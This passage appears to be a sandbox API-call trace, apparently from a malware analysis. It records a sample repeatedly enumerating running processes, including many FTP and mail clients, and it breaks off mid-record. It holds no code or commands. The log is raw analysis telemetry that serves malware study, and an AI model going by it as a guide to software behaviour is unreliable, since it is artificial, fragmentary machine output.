Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0271.660] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0271.661] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0271.663] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0271.664] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0271.666] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.667] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0271.668] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0271.670] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0271.671] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 0 [0271.672] CloseHandle (hObject=0x344) returned 1 [0271.672] Sleep (dwMilliseconds=0x64) [0271.708] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0271.730] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.732] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.734] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.736] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.738] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.741] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.743] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.745] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.747] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.749] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.751] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.804] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.806] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.809] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.811] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.814] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.816] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.818] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.821] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.823] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.825] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0271.827] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0271.829] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.832] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.834] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0271.836] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0271.838] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0271.841] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.843] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0271.845] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0271.900] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0271.902] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0271.905] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0271.907] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0271.909] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0271.912] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0271.914] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0271.916] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0271.918] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0271.920] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0271.922] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0271.925] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0271.927] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0271.929] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0271.931] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0271.933] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0271.936] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0271.938] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0271.940] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0271.991] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0271.994] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0271.996] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0271.998] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0272.000] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0272.002] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0272.005] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0272.008] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0272.010] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0272.013] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0272.015] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0272.018] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0272.021] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0272.024] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0272.026] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0272.029] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0272.031] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0272.084] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0272.087] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0272.090] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0272.093] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0272.095] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0272.108] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0272.111] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0272.114] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0272.117] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, 